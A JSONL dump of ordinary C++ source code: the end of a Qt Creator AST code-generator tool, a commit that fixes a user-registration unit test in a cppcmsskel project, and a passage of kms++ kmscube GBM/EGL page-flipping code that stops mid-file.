\"** Commercial Usage\\n\"\n            \"**\\n\"\n            \"** Licensees holding valid Qt Commercial licenses may use this file in\\n\"\n            \"** accordance with the Qt Commercial License Agreement provided with the\\n\"\n            \"** Software or, alternatively, in accordance with the terms contained in\\n\"\n            \"** a written agreement between you and Nokia.\\n\"\n            \"**\\n\"\n            \"** GNU Lesser General Public License Usage\\n\"\n            \"**\\n\"\n            \"** Alternatively, this file may be used under the terms of the GNU Lesser\\n\"\n            \"** General Public License version 2.1 as published by the Free Software\\n\"\n            \"** Foundation and appearing in the file LICENSE.LGPL included in the\\n\"\n            \"** packaging of this file.  Please review the following information to\\n\"\n            \"** ensure the GNU Lesser General Public License version 2.1 requirements\\n\"\n            \"** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\\n\"\n            \"**\\n\"\n            \"** If you are unsure which license is appropriate for your use, please\\n\"\n            \"** contact the sales department at http:\/\/www.qtsoftware.com\/contact.\\n\"\n            \"**\\n\"\n            \"**************************************************************************\/\\n\"\n            \"\\n\"\n            \"#include \\\"AST.h\\\"\\n\"\n            \"#include \\\"ASTVisitor.h\\\"\\n\"\n            \"\\n\"\n            \"CPLUSPLUS_BEGIN_NAMESPACE\\n\" << std::endl;\n\n        accept(ast);\n\n        std::cout << \"CPLUSPLUS_END_NAMESPACE\" << std::endl;\n    }\n\nprotected:\n    using ASTVisitor::visit;\n\n    QMap<QByteArray, ClassSpecifierAST *> classMap;\n\n    QByteArray id_cast(NameAST *name)\n    {\n        if (! name)\n            return QByteArray();\n\n        Identifier *id = identifier(name->asSimpleName()->identifier_token);\n\n        return QByteArray::fromRawData(id->chars(), id->size());\n    }\n\n    void copyMembers(Class *klass)\n    {\n        for (unsigned i = 0; i < klass->baseClassCount(); ++i) {\n            const QByteArray baseClassName = klass->baseClassAt(i)->identifier()->chars();\n            if (ClassSpecifierAST *baseClassSpec = classMap.value(baseClassName, 0)) {\n                copyMembers(baseClassSpec->symbol);\n            }\n        }\n\n        const QByteArray className = klass->name()->identifier()->chars();\n\n        std::cout << \"    \/\/ copy \" << className.constData() << std::endl;\n        for (unsigned i = 0; i < klass->memberCount(); ++i) {\n            Symbol *member = klass->memberAt(i);\n            Identifier *id = member->name()->identifier();\n\n            if (! id)\n                continue;\n\n            const QByteArray memberName = QByteArray::fromRawData(id->chars(), id->size());\n            if (member->type().isUnsigned() && memberName.endsWith(\"_token\")) {\n                std::cout << \"    ast->\" << id->chars() << \" = \" << id->chars() << \";\" << std::endl;\n            } else if (PointerType *ptrTy = member->type()->asPointerType()) {\n                if (NamedType *namedTy = ptrTy->elementType()->asNamedType()) {\n                    QByteArray typeName = namedTy->name()->identifier()->chars();\n                    if (typeName.endsWith(\"AST\")) {\n                        std::cout << \"    if (\" << memberName.constData() << \") ast->\" << memberName.constData()\n                                << \" = \" << memberName.constData() << \"->clone(pool);\" << std::endl;\n                    }\n                }\n            }\n        }\n    }\n\n    virtual bool visit(ClassSpecifierAST *ast)\n    {\n        Class *klass = ast->symbol;\n\n        const QByteArray className = id_cast(ast->name);\n        classMap.insert(className, ast);\n\n        Identifier *clone_id = control()->findOrInsertIdentifier(\"clone\");\n        if (! klass->members()->lookat(clone_id))\n            return true;\n\n        std::cout << className.constData() << \" *\" << className.constData() << \"::clone(MemoryPool *pool) const\" << std::endl\n                << \"{\" << std::endl;\n\n        std::cout << \"    \" << className.constData() << \" *ast = new (pool) \" << className.constData() << \";\" << std::endl;\n\n        copyMembers(klass);\n\n        std::cout << \"    return ast;\" << std::endl\n                << \"}\" << std::endl\n                << std::endl;\n\n        return true;\n    }\n};\n\nclass VisitCG: protected ASTVisitor\n{\npublic:\n    VisitCG(Control *control)\n        : ASTVisitor(control)\n    { }\n\n    void operator()(AST *ast)\n    {\n        std::cout <<\n            \"\/**************************************************************************\\n\"\n            \"**\\n\"\n            \"** This file is part of Qt Creator\\n\"\n            \"**\\n\"\n            \"** Copyright (c) 2009 Nokia Corporation and\/or its subsidiary(-ies).\\n\"\n            \"**\\n\"\n            \"** Contact: Nokia Corporation (qt-info@nokia.com)\\n\"\n            \"**\\n\"\n            \"** Commercial Usage\\n\"\n            \"**\\n\"\n            \"** Licensees holding valid Qt Commercial licenses may use this file in\\n\"\n            \"** accordance with the Qt Commercial License Agreement provided with the\\n\"\n            \"** Software or, alternatively, in accordance with the terms contained in\\n\"\n            \"** a written agreement between you and Nokia.\\n\"\n            \"**\\n\"\n            \"** GNU Lesser General Public License Usage\\n\"\n            \"**\\n\"\n            \"** Alternatively, this file may be used under the terms of the GNU Lesser\\n\"\n            \"** General Public License version 2.1 as published by the Free Software\\n\"\n            \"** Foundation and appearing in the file LICENSE.LGPL included in the\\n\"\n            \"** packaging of this file.  Please review the following information to\\n\"\n            \"** ensure the GNU Lesser General Public License version 2.1 requirements\\n\"\n            \"** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\\n\"\n            \"**\\n\"\n            \"** If you are unsure which license is appropriate for your use, please\\n\"\n            \"** contact the sales department at http:\/\/www.qtsoftware.com\/contact.\\n\"\n            \"**\\n\"\n            \"**************************************************************************\/\\n\"\n            \"\\n\"\n            \"#include \\\"AST.h\\\"\\n\"\n            \"\\n\"\n            \"CPLUSPLUS_BEGIN_NAMESPACE\\n\" << std::endl;\n\n        accept(ast);\n\n        std::cout << \"CPLUSPLUS_END_NAMESPACE\" << std::endl;\n    }\n\nprotected:\n    using ASTVisitor::visit;\n\n    QMap<QByteArray, ClassSpecifierAST *> classMap;\n\n    QByteArray id_cast(NameAST *name)\n    {\n        if (! name)\n            return QByteArray();\n\n        Identifier *id = identifier(name->asSimpleName()->identifier_token);\n\n        return QByteArray::fromRawData(id->chars(), id->size());\n    }\n\n    void visitMembers(Class *klass)\n    {\n        const QByteArray className = klass->name()->identifier()->chars();\n\n        std::cout << \"        \/\/ visit \" << className.constData() << std::endl;\n        for (unsigned i = 0; i < klass->memberCount(); ++i) {\n            Symbol *member = klass->memberAt(i);\n            Identifier *id = member->name()->identifier();\n\n            if (! id)\n                continue;\n\n            const QByteArray memberName = QByteArray::fromRawData(id->chars(), id->size());\n            if (member->type().isUnsigned() && memberName.endsWith(\"_token\")) {\n                \/\/ nothing to do. The member is a token.\n            } else if (PointerType *ptrTy = member->type()->asPointerType()) {\n                if (NamedType *namedTy = ptrTy->elementType()->asNamedType()) {\n                    QByteArray typeName = namedTy->name()->identifier()->chars();\n                    if (typeName.endsWith(\"AST\")) {\n                        std::cout << \"        accept(\" << memberName.constData() << \", visitor);\" << std::endl;\n                    }\n                }\n            }\n        }\n\n        for (unsigned i = 0; i < klass->baseClassCount(); ++i) {\n            const QByteArray baseClassName = klass->baseClassAt(i)->identifier()->chars();\n            if (ClassSpecifierAST *baseClassSpec = classMap.value(baseClassName, 0)) {\n                visitMembers(baseClassSpec->symbol);\n            }\n        }\n    }\n\n    virtual bool visit(ClassSpecifierAST *ast)\n    {\n        Class *klass = ast->symbol;\n\n        const QByteArray className = id_cast(ast->name);\n        classMap.insert(className, ast);\n\n        Identifier *visit_id = control()->findOrInsertIdentifier(\"accept0\");\n        if (! klass->members()->lookat(visit_id))\n            return true;\n\n        std::cout\n                << \"void \" << className.constData() << \"::accept0(ASTVisitor *visitor)\" << std::endl\n                << \"{\" << std::endl\n                << \"    if (visitor->visit(this)) {\" << std::endl;\n\n        visitMembers(klass);\n\n        std::cout\n                << \"    }\" << std::endl\n                << \"    visitor->endVisit(this);\" << std::endl\n                << \"}\" << std::endl\n                << std::endl;\n\n        return true;\n    }\n};\n\nint main(int argc, char *argv[])\n{\n    QCoreApplication app(argc, argv);\n\n    QStringList args = app.arguments();\n    const QString appName = args.first();\n    args.removeFirst();\n\n    bool test_rewriter = false;\n    bool test_pretty_printer = false;\n\n    foreach (QString arg, args) {\n        if (arg == QLatin1String(\"--test-rewriter\"))\n            test_rewriter = true;\n        else if (arg == QLatin1String(\"--test-pretty-printer\"))\n            test_pretty_printer = true;\n        else if (arg == QLatin1String(\"--help\")) {\n            const QFileInfo appInfo(appName);\n            const QByteArray appFileName = QFile::encodeName(appInfo.fileName());\n\n            printf(\"Usage: %s [options]\\n\"\n                   \"  --help                    Display this information\\n\"\n                   \"  --test-rewriter           Test the tree rewriter\\n\"\n                   \"  --test-pretty-printer     Test the pretty printer\\n\",\n                   appFileName.constData());\n            return EXIT_SUCCESS;\n        }\n    }\n\n    QFile in;\n    if (! in.open(stdin, QFile::ReadOnly))\n        return EXIT_FAILURE;\n\n    const QByteArray source = in.readAll();\n\n    Control control;\n    StringLiteral *fileId = control.findOrInsertStringLiteral(\"<stdin>\");\n    TranslationUnit unit(&control, fileId);\n    unit.setObjCEnabled(true);\n    unit.setSource(source.constData(), source.size());\n    unit.parse();\n    if (! unit.ast())\n        return EXIT_FAILURE;\n\n    TranslationUnitAST *ast = unit.ast()->asTranslationUnit();\n    Q_ASSERT(ast != 0);\n\n    Scope globalScope;\n    Semantic sem(&control);\n    for (DeclarationAST *decl = ast->declarations; decl; decl = decl->next) {\n        sem.check(decl, &globalScope);\n    }\n\n    \/\/ test the rewriter\n    if (test_rewriter) {\n        QByteArray out;\n        SimpleRefactor refactor(&control);\n        refactor(&unit, source, &out);\n        printf(\"%s\\n\", out.constData());\n    } else if (test_pretty_printer) {\n        MemoryPool pool2;\n        TranslationUnitAST *other = unit.ast()->clone(&pool2)->asTranslationUnit();\n        PrettyPrinter pp(&control, std::cout);\n        pp(other, source);\n    }\n\n    return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n\n#include \"models\/Users.h\" \n#include \"generics\/test.h\"\n\n#define TEST_NAME \"test\"\n#define SQL_PATH \"..\/\"\n#define BASIC_SQL \"basic.sql\"\n#define TEST_PATH \"tests\/models\/Users\/add\/\"\n\n\/\/TODO copy paste of \"is_admin.cpp\"\n\nclass Test : public cppcmsskel::models::Users {\n\n    private:\n        const std::string newName = \"new user\";\n        const std::string newEmail = \"new@example.com\";\n        const std::string password = \"newpassword\";\n\n        const std::string alreadyTakenName = \"old user\";\n        const std::string alreadyTakenEmail = \"old@example.com\";\n\n        \/\/ \n        bool test_add_new_user(\n            const std::string &name,\n            const std::string &email\n        ) {\n\n\n            int userId = add(\n                name,\n                password,\n                email\n            );\n\n            return test_user_created(\n                userId,\n                name,\n                email,\n                password\n            );\n        }\n        \/\/ performs various test that should fail if the user\n        \/\/ does not exist, and will success if the success if the\n        \/\/ user has been correctly added\n        bool test_user_created(\n            const int userId,\n            const std::string &name,\n            const std::string &email,\n            const std::string &newPassword\n        ) {\n            if (userId == USERS_NOT_ADDED_ERROR) {\n                std::cout << \"not added\" << std::endl;\n                return false;\n            }\n            if (!username_exists(name)) {\n                std::cout << \"no name\" << std::endl;\n                return false;\n            }\n\n            if (!email_exists(email)) {\n\n                std::cout << \"no email\" << std::endl;\n                return false;\n            }\n\n            if (!username_exists(name)) {\n                std::cout << \"no name\" << std::endl;\n                return false;\n            }\n\n            if (!is_login_correct(name, newPassword)) {\n                std::cout << \"login wrong\" << std::endl;\n                return false;\n            }\n\n            return true;\n        }\n    public:\n        Test() : cppcmsskel::models::Users(TEST_PATH TEST_NAME \".db\") {\n\n        }\n\n        bool test_add_real_new_user() {\n            return test_add_new_user(\n                newName,\n                newEmail\n            );\n        }\n\n        bool test_email_taken() {\n            return test_add_new_user(\n                newName,\n                alreadyTakenEmail\n            );\n        }\n\n        bool test_username_taken() {\n            return test_add_new_user(\n                alreadyTakenName,\n                newEmail\n            );\n        }\n\n        bool test_username_email_taken() {\n            return test_add_new_user(\n                alreadyTakenName,\n                alreadyTakenEmail\n            );\n        }\n\n};\n        \n\nint main() {\n\n    bool nothingFailed = true;\n    Test model;\n\n    std::cout << SQL_PATH TEST_PATH BASIC_SQL << std::endl;\n    CPPCMSSKEL_TEST_RESULT_WORK(\n        \"Try to create the tables ... \" ,\n        model.import_sql_file(\n          SQL_PATH TEST_PATH BASIC_SQL\n        ),\n        nothingFailed\n    );\n\n\n    CPPCMSSKEL_TEST_RESULT_WORK(\n        \"if brand new user => true ... \" ,\n        model.test_add_real_new_user(),\n        nothingFailed\n    );\n\n    CPPCMSSKEL_TEST_RESULT_NOT_WORK(\n        \"If email already taken => false ... \" ,\n        model.test_email_taken(),\n        nothingFailed\n    );\n\n    CPPCMSSKEL_TEST_RESULT_NOT_WORK(\n        \"If username is already used => false ... \" ,\n        model.test_username_taken(),\n        nothingFailed\n    );\n\n    CPPCMSSKEL_TEST_RESULT_NOT_WORK(\n        \"If both username and email are taken => false ... \" ,\n        model.test_username_email_taken(),\n        nothingFailed\n    );\n\n\n\n    if (nothingFailed) {\n        return 0;\n    } else {\n        return 1;\n    }\n}\n<commit_msg>modifed slightly the test for models::users::add, the test for 'only username already taken' and the same for 'only email already taken' were actually reusing the 'new username' \/ 'new email' used to test if we can add normally a user, which made that actually this new email\/new user were also taken at the time of the test<commit_after>#include <iostream>\n\n#include \"models\/Users.h\" \n#include \"generics\/test.h\"\n\n#define TEST_NAME \"test\"\n#define SQL_PATH \"..\/\"\n#define BASIC_SQL \"basic.sql\"\n#define TEST_PATH \"tests\/models\/Users\/add\/\"\n\n\/\/TODO copy paste of \"is_admin.cpp\"\n\nclass Test : public cppcmsskel::models::Users {\n\n    private:\n        const std::string newName = \"new user\";\n        const std::string newEmail = \"new@example.com\";\n        const std::string password = \"newpassword\";\n\n        const std::string alreadyTakenName = \"old user\";\n        const std::string alreadyTakenEmail = \"old@example.com\";\n\n        \/\/ \n        bool test_add_new_user(\n            const std::string &name,\n            const std::string &email\n        ) {\n\n\n            int userId = add(\n                name,\n                password,\n                email\n            );\n\n            return test_user_created(\n                userId,\n                name,\n                email,\n                password\n            );\n        }\n        \/\/ performs various test that should fail if the user\n        \/\/ does not exist, and will success if the success if the\n        \/\/ user has been correctly added\n        bool test_user_created(\n            const int userId,\n            const std::string &name,\n            const std::string &email,\n            const std::string &newPassword\n        ) {\n            if (userId == USERS_NOT_ADDED_ERROR) {\n                std::cout << \"not added\" << std::endl;\n                return false;\n            }\n            if (!username_exists(name)) {\n                std::cout << \"no name\" << std::endl;\n                return false;\n            }\n\n            if (!email_exists(email)) {\n\n                std::cout << \"no email\" << std::endl;\n                return false;\n            }\n\n            if (!username_exists(name)) {\n                std::cout << \"no name\" << std::endl;\n                return false;\n            }\n\n            if (!is_login_correct(name, newPassword)) {\n                std::cout << \"login wrong\" << std::endl;\n                return false;\n            }\n\n            return true;\n        }\n    public:\n        Test() : cppcmsskel::models::Users(TEST_PATH TEST_NAME \".db\") {\n\n        }\n\n        bool test_add_real_new_user() {\n            return test_add_new_user(\n                newName,\n                newEmail\n            );\n        }\n\n        bool test_email_taken() {\n            return test_add_new_user(\n                \/\/ just to make sure we use a non-used\n                \/\/ username\n                newName + \"emailtaken\",\n                alreadyTakenEmail\n            );\n        }\n\n        bool test_username_taken() {\n            return test_add_new_user(\n                alreadyTakenName,\n                \/\/ just to make sure newEmail is not taken\n                \"usernametaken\" + newEmail\n            );\n        }\n\n        bool test_username_email_taken() {\n            return test_add_new_user(\n                alreadyTakenName,\n                alreadyTakenEmail\n            );\n        }\n\n};\n        \n\nint main() {\n\n    bool nothingFailed = true;\n    Test model;\n\n    std::cout << SQL_PATH TEST_PATH BASIC_SQL << std::endl;\n    CPPCMSSKEL_TEST_RESULT_WORK(\n        \"Try to create the tables ... \" ,\n        model.import_sql_file(\n          SQL_PATH TEST_PATH BASIC_SQL\n        ),\n        nothingFailed\n    );\n\n\n    CPPCMSSKEL_TEST_RESULT_WORK(\n        \"if brand new user => true ... \" ,\n        model.test_add_real_new_user(),\n        nothingFailed\n    );\n\n    CPPCMSSKEL_TEST_RESULT_NOT_WORK(\n        \"If email already taken => false ... \" ,\n        model.test_email_taken(),\n        nothingFailed\n    );\n\n    CPPCMSSKEL_TEST_RESULT_NOT_WORK(\n        \"If username is already used => false ... \" ,\n        model.test_username_taken(),\n        nothingFailed\n    );\n\n    CPPCMSSKEL_TEST_RESULT_NOT_WORK(\n        \"If both username and email are taken => false ... \" ,\n        model.test_username_email_taken(),\n        nothingFailed\n    );\n\n\n\n    if (nothingFailed) {\n        return 0;\n    } else {\n        return 1;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <chrono>\n#include <cstdio>\n#include <vector>\n#include <memory>\n#include <algorithm>\n#include <poll.h>\n\n#include <xf86drm.h>\n#include <xf86drmMode.h>\n#include <gbm.h>\n\n#include <kms++\/kms++.h>\n#include <kms++util\/kms++util.h>\n#include \"cube-egl.h\"\n#include \"cube-gles2.h\"\n\nusing namespace kms;\nusing namespace std;\n\nstatic int s_flip_pending;\nstatic bool s_need_exit;\n\nstatic bool s_support_planes;\n\nclass GbmDevice\n{\npublic:\n\tGbmDevice(Card& card)\n\t{\n\t\tm_dev = gbm_create_device(card.fd());\n\t\tFAIL_IF(!m_dev, \"failed to create gbm device\");\n\t}\n\n\t~GbmDevice()\n\t{\n\t\tgbm_device_destroy(m_dev);\n\t}\n\n\tGbmDevice(const GbmDevice& other) = delete;\n\tGbmDevice& operator=(const GbmDevice& other) = delete;\n\n\tstruct gbm_device* handle() const { return m_dev; }\n\nprivate:\n\tstruct gbm_device* m_dev;\n};\n\nclass GbmSurface\n{\npublic:\n\tGbmSurface(GbmDevice& gdev, int width, int height)\n\t{\n\t\tm_surface = gbm_surface_create(gdev.handle(), width, height,\n\t\t\t\t\t       GBM_FORMAT_XRGB8888,\n\t\t\t\t\t       GBM_BO_USE_SCANOUT | GBM_BO_USE_RENDERING);\n\t\tFAIL_IF(!m_surface, \"failed to create gbm surface\");\n\t}\n\n\t~GbmSurface()\n\t{\n\t\tgbm_surface_destroy(m_surface);\n\t}\n\n\tGbmSurface(const GbmSurface& other) = delete;\n\tGbmSurface& operator=(const GbmSurface& other) = delete;\n\n\tbool has_free()\n\t{\n\t\treturn gbm_surface_has_free_buffers(m_surface);\n\t}\n\n\tgbm_bo* lock_front_buffer()\n\t{\n\t\treturn gbm_surface_lock_front_buffer(m_surface);\n\t}\n\n\tvoid release_buffer(gbm_bo *bo)\n\t{\n\t\tgbm_surface_release_buffer(m_surface, bo);\n\t}\n\n\tstruct gbm_surface* handle() const { return m_surface; }\n\nprivate:\n\tstruct gbm_surface* m_surface;\n};\n\nclass GbmEglSurface\n{\npublic:\n\tGbmEglSurface(Card& card, GbmDevice& gdev, const EglState& egl, int width, int height)\n\t\t: card(card), egl(egl), m_width(width), m_height(height),\n\t\t  bo_prev(0), bo_next(0)\n\t{\n\t\tgsurface = unique_ptr<GbmSurface>(new GbmSurface(gdev, width, height));\n\t\tesurface = eglCreateWindowSurface(egl.display(), egl.config(), gsurface->handle(), NULL);\n\t\tFAIL_IF(esurface == EGL_NO_SURFACE, \"failed to create egl surface\");\n\t}\n\n\t~GbmEglSurface()\n\t{\n\t\tif (bo_next)\n\t\t\tgsurface->release_buffer(bo_next);\n\t\teglDestroySurface(egl.display(), esurface);\n\t}\n\n\tvoid make_current()\n\t{\n\t\tFAIL_IF(!gsurface->has_free(), \"No free buffers\");\n\n\t\teglMakeCurrent(egl.display(), esurface, esurface, egl.context());\n\t}\n\n\tvoid swap_buffers()\n\t{\n\t\teglSwapBuffers(egl.display(), esurface);\n\t}\n\n\tstatic void drm_fb_destroy_callback(struct gbm_bo *bo, void *data)\n\t{\n\t\tauto fb = reinterpret_cast<Framebuffer*>(data);\n\t\tdelete fb;\n\t}\n\n\tstatic Framebuffer* drm_fb_get_from_bo(struct gbm_bo *bo, Card& card)\n\t{\n\t\tauto fb = reinterpret_cast<Framebuffer*>(gbm_bo_get_user_data(bo));\n\t\tif (fb)\n\t\t\treturn fb;\n\n\t\tuint32_t width = gbm_bo_get_width(bo);\n\t\tuint32_t height = gbm_bo_get_height(bo);\n\t\tuint32_t stride = gbm_bo_get_stride(bo);\n\t\tuint32_t handle = gbm_bo_get_handle(bo).u32;\n\n\t\tfb = new ExtFramebuffer(card, width, height, 24, 32, stride, handle);\n\n\t\tgbm_bo_set_user_data(bo, fb, drm_fb_destroy_callback);\n\n\t\treturn fb;\n\t}\n\n\tFramebuffer* lock_next()\n\t{\n\t\tbo_prev = bo_next;\n\t\tbo_next = gsurface->lock_front_buffer();\n\t\tFAIL_IF(!bo_next, \"could not lock gbm buffer\");\n\t\treturn drm_fb_get_from_bo(bo_next, card);\n\t}\n\n\tvoid free_prev()\n\t{\n\t\tif (bo_prev) {\n\t\t\tgsurface->release_buffer(bo_prev);\n\t\t\tbo_prev = 0;\n\t\t}\n\t}\n\n\tuint32_t width() const { return m_width; }\n\tuint32_t height() const { return m_height; }\n\nprivate:\n\tCard& card;\n\tconst EglState& egl;\n\n\tunique_ptr<GbmSurface> gsurface;\n\tEGLSurface esurface;\n\n\tint m_width;\n\tint m_height;\n\n\tstruct gbm_bo* bo_prev;\n\tstruct gbm_bo* bo_next;\n};\n\nclass OutputHandler : private PageFlipHandlerBase\n{\npublic:\n\tOutputHandler(Card& card, GbmDevice& gdev, const EglState& egl, Connector* connector, Crtc* crtc, Videomode& mode, Plane* plane, float rotation_mult)\n\t\t: m_frame_num(0), m_connector(connector), m_crtc(crtc), m_plane(plane), m_mode(mode),\n\t\t  m_rotation_mult(rotation_mult)\n\t{\n\t\tm_surface1 = unique_ptr<GbmEglSurface>(new GbmEglSurface(card, gdev, egl, mode.hdisplay, mode.vdisplay));\n\t\tm_scene1 = unique_ptr<GlScene>(new GlScene());\n\t\tm_scene1->set_viewport(m_surface1->width(), m_surface1->height());\n\n\t\tif (m_plane) {\n\t\t\tm_surface2 = unique_ptr<GbmEglSurface>(new GbmEglSurface(card, gdev, egl, 400, 400));\n\t\t\tm_scene2 = unique_ptr<GlScene>(new GlScene());\n\t\t\tm_scene2->set_viewport(m_surface2->width(), m_surface2->height());\n\t\t}\n\t}\n\n\tOutputHandler(const OutputHandler& other) = delete;\n\tOutputHandler& operator=(const OutputHandler& other) = delete;\n\n\tvoid setup()\n\t{\n\t\tint ret;\n\n\t\tm_surface1->make_current();\n\t\tm_surface1->swap_buffers();\n\t\tFramebuffer* fb = m_surface1->lock_next();\n\n\t\tFramebuffer* planefb = 0;\n\n\t\tif (m_plane) {\n\t\t\tm_surface2->make_current();\n\t\t\tm_surface2->swap_buffers();\n\t\t\tplanefb = m_surface2->lock_next();\n\t\t}\n\n\n\t\tret = m_crtc->set_mode(m_connector, *fb, m_mode);\n\t\tFAIL_IF(ret, \"failed to set mode\");\n\n\t\tif (m_crtc->card().has_atomic()) {\n\t\t\tPlane* root_plane = 0;\n\t\t\tfor (Plane* p : m_crtc->get_possible_planes()) {\n\t\t\t\tif (p->crtc_id() == m_crtc->id()) {\n\t\t\t\t\troot_plane = p;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tFAIL_IF(!root_plane, \"No primary plane for crtc %d\", m_crtc->id());\n\n\t\t\tm_root_plane = root_plane;\n\t\t}\n\n\t\tif (m_plane) {\n\t\t\tret = m_crtc->set_plane(m_plane, *planefb,\n\t\t\t\t\t\t0, 0, planefb->width(), planefb->height(),\n\t\t\t\t\t\t0, 0, planefb->width(), planefb->height());\n\t\t\tFAIL_IF(ret, \"failed to set plane\");\n\t\t}\n\t}\n\n\tvoid start_flipping()\n\t{\n\t\tm_t1 = chrono::steady_clock::now();\n\t\tqueue_next();\n\t}\n\nprivate:\n\tvoid handle_page_flip(uint32_t frame, double time)\n\t{\n\t\t++m_frame_num;\n\n\t\tif (m_frame_num  % 100 == 0) {\n\t\t\tauto t2 = chrono::steady_clock::now();\n\t\t\tchrono::duration<float> fsec = t2 - m_t1;\n\t\t\tprintf(\"fps: %f\\n\", 100.0 \/ fsec.count());\n\t\t\tm_t1 = t2;\n\t\t}\n\n\t\ts_flip_pending--;\n\n\t\tm_surface1->free_prev();\n\t\tif (m_plane)\n\t\t\tm_surface2->free_prev();\n\n\t\tif (s_need_exit)\n\t\t\treturn;\n\n\t\tqueue_next();\n\t}\n\n\tvoid queue_next()\n\t{\n\t\tm_surface1->make_current();\n\t\tm_scene1->draw(m_frame_num * m_rotation_mult);\n\t\tm_surface1->swap_buffers();\n\t\tFramebuffer* fb = m_surface1->lock_next();\n\n\t\tFramebuffer* planefb = 0;\n\n\t\tif (m_plane) {\n\t\t\tm_surface2->make_current();\n\t\t\tm_scene2->draw(m_frame_num * m_rotation_mult * 2);\n\t\t\tm_surface2->swap_buffers();\n\t\t\tplanefb = m_surface2->lock_next();\n\t\t}\n\n\t\tif (m_crtc->card().has_atomic()) {\n\t\t\tint r;\n\n\t\t\tAtomicReq req(m_crtc->card());\n\n\t\t\treq.add(m_root_plane, \"FB_ID\", fb->id());\n\t\t\tif (m_plane)\n\t\t\t\treq.add(m_plane, \"FB_ID\", planefb->id());\n\n\t\t\tr = req.test();\n\t\t\tFAIL_IF(r, \"atomic test failed\");\n\n\t\t\tr = req.commit(this);\n\t\t\tFAIL_IF(r, \"atomic commit failed\");\n\t\t} else {\n\t\t\tint ret;\n\n\t\t\tret = m_crtc->page_flip(*fb, this);\n\t\t\tFAIL_IF(ret, \"failed to queue page flip\");\n\n\t\t\tif (m_plane) {\n\t\t\t\tret = m_crtc->set_plane(m_plane, *planefb,\n\t\t\t\t\t\t\t0, 0, planefb->width(), planefb->height(),\n\t\t\t\t\t\t\t0, 0, planefb->width(), planefb->height());\n\t\t\t\tFAIL_IF(ret, \"failed to set plane\");\n\t\t\t}\n\t\t}\n\n\t\ts_flip_pending++;\n\t}\n\n\tint m_frame_num;\n\tchrono::steady_clock::time_point m_t1;\n\n\tConnector* m_connector;\n\tCrtc* m_crtc;\n\tPlane* m_plane;\n\tVideomode m_mode;\n\tPlane* m_root_plane;\n\n\tunique_ptr<GbmEglSurface> m_surface1;\n\tunique_ptr<GbmEglSurface> m_surface2;\n\n\tunique_ptr<GlScene> m_scene1;\n\tunique_ptr<GlScene> m_scene2;\n\n\tfloat m_rotation_mult;\n};\n\nvoid main_gbm()\n{\n\tCard card;\n\n\tGbmDevice gdev(card);\n\tEglState egl(gdev.handle());\n\n\tvector<unique_ptr<OutputHandler>> outputs;\n\tvector<Plane*> used_planes;\n\n\tfloat rot_mult = 1;\n\n\tfor (auto pipe : card.get_connected_pipelines()) {\n\t\tauto connector = pipe.connector;\n\t\tauto crtc = pipe.crtc;\n\t\tauto mode = connector->get_default_mode();\n\n\t\tPlane* plane = 0;\n\n\t\tif (s_support_planes) {\n\t\t\tfor (Plane* p : crtc->get_possible_planes()) {\n\t\t\t\tif (find(used_planes.begin(), used_planes.end(), p) != used_planes.end())\n\t\t\t\t\tcontinue;\n\n\t\t\t\tif (p->plane_type() != PlaneType::Overlay)\n\t\t\t\t\tcontinue;\n\n\t\t\t\tplane = p;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (plane)\n\t\t\tused_planes.push_back(plane);\n\n\t\tauto out = new OutputHandler(card, gdev, egl, connector, crtc, mode, plane, rot_mult);\n\t\toutputs.emplace_back(out);\n\n\t\trot_mult *= 1.33;\n\t}\n\n\tfor (auto& out : outputs)\n\t\tout->setup();\n\n\tfor (auto& out : outputs)\n\t\tout->start_flipping();\n\n\tstruct pollfd fds[2] = { };\n\tfds[0].fd = 0;\n\tfds[0].events =  POLLIN;\n\tfds[1].fd = card.fd();\n\tfds[1].events =  POLLIN;\n\n\twhile (!s_need_exit || s_flip_pending) {\n\t\tint r = poll(fds, ARRAY_SIZE(fds), -1);\n\t\tFAIL_IF(r < 0, \"poll error %d\", r);\n\n\t\tif (fds[0].revents)\n\t\t\ts_need_exit = true;\n\n\t\tif (fds[1].revents)\n\t\t\tcard.call_page_flip_handlers();\n\t}\n}\n<commit_msg>kmscube: use drmModeAddFB2 version of ExtFB<commit_after>#include <chrono>\n#include <cstdio>\n#include <vector>\n#include <memory>\n#include <algorithm>\n#include <poll.h>\n\n#include <xf86drm.h>\n#include <xf86drmMode.h>\n#include <gbm.h>\n\n#include <kms++\/kms++.h>\n#include <kms++util\/kms++util.h>\n#include \"cube-egl.h\"\n#include \"cube-gles2.h\"\n\nusing namespace kms;\nusing namespace std;\n\nstatic int s_flip_pending;\nstatic bool s_need_exit;\n\nstatic bool s_support_planes;\n\nclass GbmDevice\n{\npublic:\n\tGbmDevice(Card& card)\n\t{\n\t\tm_dev = gbm_create_device(card.fd());\n\t\tFAIL_IF(!m_dev, \"failed to create gbm device\");\n\t}\n\n\t~GbmDevice()\n\t{\n\t\tgbm_device_destroy(m_dev);\n\t}\n\n\tGbmDevice(const GbmDevice& other) = delete;\n\tGbmDevice& operator=(const GbmDevice& other) = delete;\n\n\tstruct gbm_device* handle() const { return m_dev; }\n\nprivate:\n\tstruct gbm_device* m_dev;\n};\n\nclass GbmSurface\n{\npublic:\n\tGbmSurface(GbmDevice& gdev, int width, int height)\n\t{\n\t\tm_surface = gbm_surface_create(gdev.handle(), width, height,\n\t\t\t\t\t       GBM_FORMAT_XRGB8888,\n\t\t\t\t\t       GBM_BO_USE_SCANOUT | GBM_BO_USE_RENDERING);\n\t\tFAIL_IF(!m_surface, \"failed to create gbm surface\");\n\t}\n\n\t~GbmSurface()\n\t{\n\t\tgbm_surface_destroy(m_surface);\n\t}\n\n\tGbmSurface(const GbmSurface& other) = delete;\n\tGbmSurface& operator=(const GbmSurface& other) = delete;\n\n\tbool has_free()\n\t{\n\t\treturn gbm_surface_has_free_buffers(m_surface);\n\t}\n\n\tgbm_bo* lock_front_buffer()\n\t{\n\t\treturn gbm_surface_lock_front_buffer(m_surface);\n\t}\n\n\tvoid release_buffer(gbm_bo *bo)\n\t{\n\t\tgbm_surface_release_buffer(m_surface, bo);\n\t}\n\n\tstruct gbm_surface* handle() const { return m_surface; 